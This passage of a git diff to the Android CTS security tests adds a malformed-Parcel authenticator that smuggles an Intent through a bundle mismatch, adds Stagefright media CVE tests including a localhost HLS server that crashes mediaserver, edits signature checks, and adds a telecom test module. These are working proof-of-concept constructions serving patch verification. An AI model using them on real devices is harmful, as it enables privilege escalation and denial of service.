+        public Bundle getAuthToken(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                   Account account,
+                                   String authTokenType,
+                                   Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response,
+                                 String accountType,
+                                 String authTokenType,
+                                 String[] requiredFeatures,
+                                 Bundle options) {
+            try {
+                Log.i(TAG, String.format("addAccount start...accountType = %s, authTokenType = %s",
+                                    accountType, authTokenType));
+                Bundle bundle = new Bundle();
+                Parcel parcel = GenMalformedParcel.nanoAppFilterParcel(mIntent);
+                bundle.readFromParcel(parcel);
+                parcel.recycle();
+                setAddAccountDone(true);
+                Log.i(TAG, "addAccount finished");
+                return bundle;
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            return null;
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                         Account account,
+                                         Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                        Account account,
+                                        String authTokenType,
+                                        Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                  Account account,
+                                  String[] features) {
+            return null;
+        }
+    }
+
+    //
+    //  AuthenticatorService
+    //
+    public static class AuthenticatorService extends Service {
+
+        private static final String TAG = "AuthenticatorService";
+
+        private Authenticator mAuthenticator;
+        public Authenticator getAuthenticator() {
+            return mAuthenticator;
+        }
+
+        private IBinder mBinder;
+        public IBinder getServiceBinder() {
+            return mBinder;
+        }
+
+        public AuthenticatorService() {
+        }
+
+        @Override
+        public void onCreate() {
+            super.onCreate();
+            //  critical:here have to pass the service context to authenticator, not mContext
+            Log.i(TAG, "creating...");
+            mAuthenticator = new Authenticator(this);
+        }
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            try {
+                Log.i(TAG, "Bind starting...");
+                IBinder binder = mAuthenticator.getIBinder();
+                mBinder = binder;
+                Log.i(TAG, "Bind finished.");
+                return binder;
+            } catch (Exception e) {
+                Log.i(TAG, "Bind exception");
+                e.printStackTrace();
+            }
+            return null;
+        }
+    }
+
+    //
+    //  GenMalformedParcel
+    //
+    public static class GenMalformedParcel {
+
+        public static Parcel nanoAppFilterParcel(Intent intent) {
+            Parcel data = Parcel.obtain();
+            int bundleLenPos = data.dataPosition();
+            data.writeInt(0xffffffff);
+            data.writeInt(0x4C444E42);
+            int bundleStartPos = data.dataPosition();
+            data.writeInt(3);
+
+            data.writeString(SECURITY_CTS_PACKAGE_NAME);
+            data.writeInt(4);
+            data.writeString("android.hardware.location.NanoAppFilter");
+            data.writeLong(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(13);
+
+            int byteArrayLenPos = data.dataPosition();
+            data.writeInt(0xffffffff);
+            int byteArrayStartPos = data.dataPosition();
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeString(AccountManager.KEY_INTENT);
+            data.writeInt(4);
+            data.writeString("android.content.Intent");
+            intent.writeToParcel(data, 0);
+            int byteArrayEndPos = data.dataPosition();
+            data.setDataPosition(byteArrayLenPos);
+            int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+            data.writeInt(byteArrayLen);
+            data.setDataPosition(byteArrayEndPos);
+
+            int bundleEndPos = data.dataPosition();
+            data.setDataPosition(bundleLenPos);
+            int bundleLen = bundleEndPos - bundleStartPos;
+            data.writeInt(bundleLen);
+            data.setDataPosition(0);
+
+            return data;
+        }
+    }
+
+    private static boolean isCar(Context context) {
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 283910bf..ee383b2 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -52,11 +52,9 @@
         PackageManager packageManager = mContext.getPackageManager();
         List<PackageInfo> allPackageInfos = packageManager.getInstalledPackages(
                 PackageManager.GET_UNINSTALLED_PACKAGES |
-                PackageManager.GET_SIGNATURES |
-                PackageManager.MATCH_APEX);
+                PackageManager.GET_SIGNATURES);
         for (PackageInfo packageInfo : allPackageInfos) {
             String packageName = packageInfo.packageName;
-            Log.v(TAG, "Scanning " + packageName);
             if (packageName != null && !isWhitelistedPackage(packageName)) {
                 for (Signature signature : packageInfo.signatures) {
                     if (wellKnownSignatures.contains(signature)) {
@@ -82,20 +80,6 @@
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_platform));
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_shared));
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_networkstack));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_conscrypt));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media_swcodec));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_resolv));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_debug));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_release));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_tzdata));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_conscrypt));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media_swcodec));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_resolv));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_debug));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_release));
-        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
         return wellKnownSignatures;
     }
 
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index fdf5676..866857f 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -111,17 +111,17 @@
 
     @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3829() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3829);
+        doStagefrightTest(R.raw.cve_2016_3829, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_cve_2017_0643() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0643);
+        doStagefrightTest(R.raw.cve_2017_0643, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_cve_2017_0728() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0728);
+        doStagefrightTest(R.raw.cve_2017_0728, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-10")
@@ -161,7 +161,7 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35763994() throws Exception {
-        doStagefrightTest(R.raw.bug_35763994);
+        doStagefrightTest(R.raw.bug_35763994, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-03")
@@ -171,7 +171,7 @@
 
     @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2016_2507() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2507);
+        doStagefrightTest(R.raw.cve_2016_2507, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-03")
@@ -266,13 +266,13 @@
 
     @SecurityTest(minPatchLevel = "2017-02")
     public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
+        doStagefrightTest(R.raw.cve_2016_2429_b_27211885, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_34031018() throws Exception {
-        doStagefrightTest(R.raw.bug_34031018_32bit);
-        doStagefrightTest(R.raw.bug_34031018_64bit);
+        doStagefrightTest(R.raw.bug_34031018_32bit, false);
+        doStagefrightTest(R.raw.bug_34031018_64bit, false);
     }
 
     /***********************************************************
@@ -297,7 +297,7 @@
 
     @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_cve_2017_0852_b_62815506() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0852_b_62815506);
+        doStagefrightTest(R.raw.cve_2017_0852_b_62815506, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-02")
@@ -323,7 +323,7 @@
 
     @SecurityTest(minPatchLevel = "2016-10")
     public void testStagefright_cve_2016_3920() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3920);
+        doStagefrightTest(R.raw.cve_2016_3920, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-06")
@@ -338,7 +338,7 @@
 
     @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3821() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3821);
+        doStagefrightTest(R.raw.cve_2016_3821, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-04")
@@ -358,12 +358,12 @@
 
     @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_38115076() throws Exception {
-        doStagefrightTest(R.raw.bug_38115076);
+        doStagefrightTest(R.raw.bug_38115076, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_bug_34618607() throws Exception {
-        doStagefrightTest(R.raw.bug_34618607);
+        doStagefrightTest(R.raw.bug_34618607, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-02")
@@ -388,7 +388,7 @@
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_cve_2017_0600() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0600);
+        doStagefrightTest(R.raw.cve_2017_0600, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
@@ -424,7 +424,7 @@
     @SecurityTest(minPatchLevel = "2017-03")
     public void testBug_33387820() throws Exception {
         int[] frameSizes = {45, 3202, 430, 2526};
-        doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes);
+        doStagefrightTestRawBlob(R.raw.bug_33387820_avc, "video/avc", 320, 240, frameSizes, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-07")
@@ -460,7 +460,8 @@
     @SecurityTest(minPatchLevel = "2016-08")
     public void testBug_28816956() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_28816956_framelen);
-        doStagefrightTestRawBlob(R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes);
+        doStagefrightTestRawBlob(
+                R.raw.bug_28816956_hevc, "video/hevc", 352, 288, frameSizes, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-03")
@@ -495,7 +496,7 @@
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testStagefright_cve_2017_0599() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0599);
+        doStagefrightTest(R.raw.cve_2017_0599, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-09")
@@ -525,7 +526,7 @@
 
     @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_cve_2016_6712() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_6712);
+        doStagefrightTest(R.raw.cve_2016_6712, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-04")
@@ -551,12 +552,12 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_33818508() throws Exception {
-        doStagefrightTest(R.raw.bug_33818508);
+        doStagefrightTest(R.raw.bug_33818508, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_32873375() throws Exception {
-        doStagefrightTest(R.raw.bug_32873375);
+        doStagefrightTest(R.raw.bug_32873375, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-02")
@@ -619,7 +620,7 @@
 
     @SecurityTest(minPatchLevel = "2016-06")
     public void testStagefright_cve_2016_2428() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2428);
+        doStagefrightTest(R.raw.cve_2016_2428, false);
     }
 
     @SecurityTest(minPatchLevel = "2016-07")
@@ -657,7 +658,7 @@
                 @Override
                 public void run() {
                     try {
-                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath());
+                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath(), false);
                     } catch (Exception | AssertionError e) {
                         if (!tempFile.delete()) {
                             Log.e(TAG, "Failed to delete temporary PoC file");
@@ -682,7 +683,7 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_32322258() throws Exception {
-        doStagefrightTest(R.raw.bug_32322258);
+        doStagefrightTest(R.raw.bug_32322258, false);
     }
 
     @SecurityTest(minPatchLevel = "2015-10")
@@ -712,7 +713,7 @@
 
     @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
-        doStagefrightTest(R.raw.cve_2015_3862_b_22954006);
+        doStagefrightTest(R.raw.cve_2015_3862_b_22954006, false);
     }
 
     @SecurityTest(minPatchLevel = "2015-10")
@@ -777,12 +778,12 @@
 
     @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_3755() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3755);
+        doStagefrightTest(R.raw.cve_2016_3755, false);
     }
 
     @SecurityTest(minPatchLevel = "2016-09")
     public void testStagefright_cve_2016_3878_b_29493002() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3878_b_29493002);
+        doStagefrightTest(R.raw.cve_2016_3878_b_29493002, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
@@ -802,18 +803,23 @@
 
     @SecurityTest(minPatchLevel = "2016-06")
     public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
-        doStagefrightTest(R.raw.bug_27855419);
+        doStagefrightTest(R.raw.bug_27855419, false);
     }
 
     @SecurityTest(minPatchLevel = "2015-11")
     public void testStagefright_bug_19779574() throws Exception {
-        doStagefrightTest(R.raw.bug_19779574);
+        doStagefrightTest(R.raw.bug_19779574, false);
     }
 
     /***********************************************************
      to prevent merge conflicts, add N tests below this comment,
      before any existing test methods
      ***********************************************************/
+    @SecurityTest(minPatchLevel = "2017-03")
+    public void testBug_33090864() throws Exception {
+        int[] frameSizes = getFrameSizes(R.raw.bug_33090864_framelen);
+        doStagefrightTestRawBlob(R.raw.bug_33090864_avc, "video/avc", 320, 240, frameSizes);
+    }
 
     @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_bug_36279112() throws Exception {
@@ -975,13 +981,94 @@
     }
 
     @SecurityTest(minPatchLevel = "2018-04")
+    public void testStagefright_cve_2017_13279() throws Exception {
+      Thread server = new Thread() {
+        @Override
+        public void run(){
+          try (ServerSocket serverSocket = new ServerSocket(8080);
+            Socket conn = serverSocket.accept()){
+              OutputStream stream = conn.getOutputStream();
+              byte http[] = ("HTTP/1.0 200 OK\r\nContent-Type: application/x-mpegURL\r\n\r\n"
+                           + "#EXTM3U\n#EXT-X-STREAM-INF:\n").getBytes();
+              stream.write(http);
+              while(!conn.isClosed())
+                stream.write(("a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\n").getBytes());
+            }
+          catch(IOException e){
+          }
+        }
+      };
+      server.start();
+      String uri = "http://127.0.0.1:8080/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+                 + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/"
+                 + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.m3u8";
+      final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+
+      LooperThread t = new LooperThread(new Runnable() {
+          @Override
+          public void run() {
+
+              MediaPlayer mp = new MediaPlayer();
+              mp.setOnErrorListener(mpcl);
+              mp.setOnPreparedListener(mpcl);
+              mp.setOnCompletionListener(mpcl);
+              RenderTarget renderTarget = RenderTarget.create();
+              Surface surface = renderTarget.getSurface();
+              mp.setSurface(surface);
+              AssetFileDescriptor fd = null;
+              try {
+                mp.setDataSource(uri);
+                mp.prepareAsync();
+              } catch (IOException e) {
+                Log.e(TAG, e.toString());
+              } finally {
+                  closeQuietly(fd);
+              }
+
+              Looper.loop();
+              mp.release();
+          }
+      });
+      t.start();
+      Thread.sleep(60000); // Poc takes a while to crash mediaserver, waitForError
+                           // doesn't wait long enough
+      assertFalse("Device *IS* vulnerable to CVE-2017-13279",
+                  mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+      t.stopLooper();
+      t.join(); // wait for thread to exit so we're sure the player was released
+      server.join();
+    }
+
+    @SecurityTest(minPatchLevel = "2018-04")
     public void testStagefright_cve_2017_13276() throws Exception {
         doStagefrightTest(R.raw.cve_2017_13276);
     }
 
     @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6764() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_6764);
+        doStagefrightTest(R.raw.cve_2016_6764, false);
     }
 
     @SecurityTest(minPatchLevel = "2018-01")
@@ -991,7 +1078,7 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35467107() throws Exception {
-        doStagefrightTest(R.raw.bug_35467107);
+        doStagefrightTest(R.raw.bug_35467107, false);
     }
 
     /***********************************************************
@@ -999,6 +1086,24 @@
      before any existing test methods
      ***********************************************************/
 
+    @SecurityTest(minPatchLevel = "2018-02")
+    public void testStagefright_cve_2017_13233() throws Exception {
+        doStagefrightTestRawBlob(R.raw.cve_2017_13233_hevc, "video/hevc", 640,
+                480);
+    }
+
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2106() throws Exception {
+        int[] frameSizes = {943, 3153};
+        doStagefrightTestRawBlob(R.raw.cve_2019_2106_hevc, "video/hevc", 320,
+                240, frameSizes);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-06")
+    public void testStagefright_cve_2017_0637() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_0637, 2 * 72000);
+    }
+
     @SecurityTest(minPatchLevel = "2018-09")
     public void testStagefright_cve_2018_11287() throws Exception {
         doStagefrightTest(R.raw.cve_2018_11287, 180000);
@@ -1009,6 +1114,21 @@
         doStagefrightTest(R.raw.cve_2019_2327);
     }
 
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2322() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2322);
+    }
+
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2334() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2334);
+    }
+
+    public void testStagefright_cve_2017_13204() throws Exception {
+        int[] frameSizes = getFrameSizes(R.raw.cve_2017_13204_framelen);
+        doStagefrightTestRawBlob(R.raw.cve_2017_13204_avc, "video/avc", 16, 16, frameSizes);
+    }
+
     @SecurityTest(minPatchLevel = "2018-03")
     public void testStagefright_cve_2017_17773() throws Exception {
         doStagefrightTest(R.raw.cve_2017_17773);
@@ -1089,12 +1209,12 @@
 
     @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6765() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_6765);
+        doStagefrightTest(R.raw.cve_2016_6765, false);
     }
 
     @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_2508() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2508);
+        doStagefrightTest(R.raw.cve_2016_2508, false);
     }
 
     @SecurityTest(minPatchLevel = "2016-11")
@@ -1114,7 +1234,7 @@
 
     @SecurityTest(minPatchLevel = "2016-09")
     public void testStagefright_cve_2016_3879() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3879);
+        doStagefrightTest(R.raw.cve_2016_3879, false);
     }
 
     private void doStagefrightTest(final int rid) throws Exception {
@@ -1797,7 +1917,7 @@
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testBug36816007() throws Exception {
-        doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240);
+        doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-05")
diff --git a/tests/tests/telecom4/Android.mk b/tests/tests/telecom4/Android.mk
new file mode 100644
index 0000000..2fc8558
--- /dev/null
+++ b/tests/tests/telecom4/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner-axt \
+    compatibility-device-util-axt
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsTelecom4TestCases
+LOCAL_SDK_VERSION := current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
+LOCAL_JAVA_LIBRARIES += android.test.base.stubs
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/telecom4/AndroidManifest.xml b/tests/tests/telecom4/AndroidManifest.xml
new file mode 100644
index 0000000..a887fdf
--- /dev/null
+++ b/tests/tests/telecom4/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2019 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.telecom4.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.telecom4.cts">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/telecom4/AndroidTest.xml b/tests/tests/telecom4/AndroidTest.xml
new file mode 100644
index 0000000..ae5ad5b
--- /dev/null
+++ b/tests/tests/telecom4/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2019 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<configuration description="Config for CTS Telecom test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsTelecom4TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.telecom4.cts" />
+        <option name="runtime-hint" value="7m30s" />
+    </test>
+</configuration>
diff --git a/tests/tests/telecom4/OWNERS b/tests/tests/telecom4/OWNERS
new file mode 100644
index 0000000..93fe555
--- /dev/null
+++ b/tests/tests/telecom4/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+
diff --git a/tests/tests/telecom4/src/android/telecom4/cts/InCallServiceImplTest.java b/tests/tests/telecom4/src/android/telecom4/cts/InCallServiceImplTest.java
new file mode 100644
index 0000000..0e68c64
--- /dev/null
+++ b/tests/tests/telecom4/src/android/telecom4/cts/InCallServiceImplTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom4.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build, install and run the tests by running the commands below:
+ * make CtsTelecom4TestCases -j64
+ * cts-tradefed run cts -m CtsTelecom4TestCases --test android.telecom4.cts.InCallServiceImplTest
+ */
+@RunWith(AndroidJUnit4.class)
+public class InCallServiceImplTest {
+    private static final String TAG = "InCallServiceTest";
+    private static final String IN_CALL_SERVICE_ACTION = "android.telecom.InCallService";
+    private static final String IN_CALL_SERVICE_PERMISSION =
+            "android.permission.BIND_INCALL_SERVICE";
+
+    private Context mContext;
+    private PackageManager mPackageManager;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getContext();
+        mPackageManager = mContext.getPackageManager();
+    }
+
+    @CddTest(requirement = "7.4.1.2/C-1-3")
+    @Test
+    public void resolveInCallIntent() {
+        if (!hasTelephonyFeature()) {
+            Log.d(TAG, "Bypass the test since telephony is not available.");
+            return;
+        }
+
+        Intent intent = new Intent();
+        intent.setAction(IN_CALL_SERVICE_ACTION);
+        ResolveInfo resolveInfo = mPackageManager.resolveService(intent,
+                PackageManager.GET_SERVICES | PackageManager.GET_META_DATA);
+
+        assertNotNull(resolveInfo);
+        assertNotNull(resolveInfo.serviceInfo);
+        assertNotNull(resolveInfo.serviceInfo.packageName);
+        assertNotNull(resolveInfo.serviceInfo.name);
+        assertEquals(IN_CALL_SERVICE_PERMISSION, resolveInfo.serviceInfo.permission);
+    }
+
+    private boolean hasTelephonyFeature() {
+        return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+    }
